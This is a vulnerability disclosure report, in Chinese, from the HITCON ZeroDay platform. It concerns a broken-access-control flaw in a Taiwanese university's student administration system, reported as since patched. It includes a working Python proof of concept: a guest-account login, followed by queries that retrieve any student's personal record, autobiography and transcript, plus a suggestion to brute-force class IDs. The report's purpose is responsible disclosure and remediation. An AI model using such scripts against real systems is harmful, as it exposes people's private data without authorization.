高科大 校務系統-全校學生資料查詢漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2020-00750
  •  發信 Vendor: 高雄科技大學
  • Title: 高科大 校務系統-全校學生資料查詢漏洞
  • Introduction: 獲取學生個人資料/學生自傳/班級/學號/性別/就學狀態/歷年成績,學生的全部。

處理狀態

目前狀態

公開
Last Update : 2020/09/17
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 未複測
  • 公開

處理歷程

  • 2020/08/28 16:11:48 : 新提交 (由 Takidog 更新此狀態)
  • 2020/08/28 22:34:10 : 新提交 (由 Takidog 更新此狀態)
  • 2020/08/28 22:37:41 : 新提交 (由 Takidog 更新此狀態)
  • 2020/08/29 03:04:07 : 新提交 (由 Takidog 更新此狀態)
  • 2020/08/30 22:23:41 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/08/31 22:24:43 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/08/31 22:24:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/08/31 22:24:43 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2020/09/09 11:25:00 : 已修補 (由 組織帳號 更新此狀態)
  • 2020/09/17 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2020-00750
  • 通報者:takidog (Takidog)
  • 風險:高
  • 類型:存取控制缺陷 (Broken Access Control)

參考資料

攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。

OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control

CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://webap.nkust.edu.tw/nkust/ag_pro/ag007_1.jsp
http://webap.nkust.edu.tw/nkust/ag_pro/ag007.jsp
http://webap.nkust.edu.tw/nkust/ag_pro/ag007_mytext.jsp
http://webap.nkust.edu.tw/nkust/ag_pro/ag007_rpt.jsp
http://webap.nkust.edu.tw/nkust/ag_pro/ag008.jsp
http://webap.nkust.edu.tw/nkust/ag_pro/ag102.jsp
http://webap.nkust.edu.tw/nkust/ak_pro/ak213.jsp

敘述

主要漏洞

利用訪客帳號可以達成。

  • 查詢 學生個人詳細資料/學生自傳/班級/學號/性別/就學狀態
  • 查詢歷年成績

主要為 ZD-2020-00743 的延伸,應該說是他的更上一層的漏洞

受影響的資料更多更廣,可以查詢到全校學生的資料包含離校以及休學的同學

POC

一樣採用高科校務通爬蟲。

共用Function

import requests
from lxml import etree

LOGIN_TIMEOUT = 10

AP_BASE_URL = "http://webap.nkust.edu.tw"
AP_HEADER_URL = 'http://webap.nkust.edu.tw/nkust/f_head.jsp'
#: AP system login url
AP_LOGIN_URL = AP_BASE_URL + "/nkust/perchk.jsp"

#: AP system general query url, with two args,
#  first: prefix of qid, second: qid
AP_QUERY_URL = AP_BASE_URL + "/nkust/%s_pro/%s.jsp"

def login(session, username, password, timeout=LOGIN_TIMEOUT):

    payload = {
        "uid": username,
        "pwd": password
    }
    session.headers.update({
        'Origin': 'http://webap.nkust.edu.tw',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9'
    })
    try:
        req = session.get("http://webap.nkust.edu.tw/nkust/index.html")
        r = session.post(
            AP_LOGIN_URL,
            data=payload,
            timeout=timeout
        )
    except requests.exceptions.Timeout:
        return error_code.WEBAP_SERVER_ERROR
    # parse
    root = etree.HTML(r.text)
    try:
        is_login = root.xpath("/html/body/script")[0].text.find('alert')
        if is_login == -1:
            # login success
            return True
        elif is_login >= 0:
            return False
    except Exception as error:
        return False

    return False

def query(session, qid, **kwargs):
    """AP system query

    Args:
        session ([requests.session]): after load cookies
        qid ([str]): url qid

        kwargs:
            (e.g.)
            ag_query(session=session, qid='ag008',
                           yms='107,2', arg01='107', arg02='2')

            post data will = {
                'yms':'107,2',
                'arg01':'107',
                'arg02':'2'
            }

    Returns:
        [requests.models.Response]: requests response

        [bool]: something error will return False
    """

    try:
        req = session.post(AP_QUERY_URL % (qid[:2], qid),
                           data=kwargs)
        return req
    except:
        return False

    return False

ag007功能下的洩漏

ag007 獲取70筆的班級資料表 [附件-圖一]

圖片

if __name__ == "__main__":
  username = 'guest'
  password = '123'
  session = requests.session()
  if login(session, username=username, password=password):
      #查詢70筆班級資料列表
      print(query(session, qid="ag007", arg01="109",
                      arg02="1", arg03="guest").text)

ag007_01 學生列表 [附件-圖二]

圖片

if __name__ == "__main__":
  username = 'guest'
  password = '123'
  session = requests.session()
  if login(session, username=username, password=password):
      #查詢 日間部四技半導體工程系四年級甲  學生列表
      print(query(session, qid="ag007_1", year="109",
                      sms="1", cls_id="UB031441").text)

cls_id可以從前70筆收集,學校其他系統也有使用類似的代號(國立高雄科技大學招生系統),可以暴力解

理論上可以獲取全校學生資料,也可以從其他系統中獲得

ag007_rpt 查詢學生基本資料表[附件-圖四]

圖片

if __name__ == "__main__":
    username = 'guest'
    password = '123'
    std_id = "11061..."  # student id
    session = requests.session()
    if login(session, username=username, password=password):

        # Get basic cookie.
        query(session, qid="ag007_1", year="109",
              sms="1", cls_id="UB031441")

        # 查詢任何學號的學生基本資料
        print(query(session, qid="ag007_rpt", arg01="109",
                    arg02="1", std_id=std_id).text)

可以指定學號,學期,學生的基本資料表。

其餘path不再示範以下path都有相同問題

http://webap.nkust.edu.tw/nkust/ag_pro/ag007_mytext.jsp #學生自傳
request form data 
year    109
sms 1
std_id  1061...
arg01   109
arg02   1
arg03   106...
http://webap.nkust.edu.tw/nkust/ag_pro/ag008.jsp #成績查詢 ZD-2020-00743
request form data
year    109
sms 1
std_id  1061...
arg01   109
arg02   1
arg03   106...

歷年成績查詢pdf[附件-圖三]

圖片

if __name__ == "__main__":
    username = 'guest'
    password = '123'
    std_id = "11061..."  # student id
    session = requests.session()
    if login(session, username=username, password=password):
        # 歷年成績查詢
        print(query(session, qid="ag102", arg01="109",
                    arg02="1", arg03=std_id, std_id=std_id, year="109", yms="1").text)

經過測試 ak ag bk可能都還有沒有標註到功能

漏洞測試過程基本上採用本人自己的學號,其餘學生的基本資料測試過程如有查看到,均沒有紀錄

願早日修復。

修補建議

建議不要再以使用者post data當作查詢依據
使用cookie資料對自己內部SQL比對在查詢
或是改用JWT。

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;